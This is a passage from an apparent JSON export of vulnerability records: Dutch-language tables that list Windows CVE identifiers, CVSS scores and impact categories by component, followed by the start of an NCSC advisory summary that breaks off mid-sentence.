CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:01.431213Z"}, {"uuid": "1612d363-b581-4aec-9c01-9df5297b32de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54993", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande 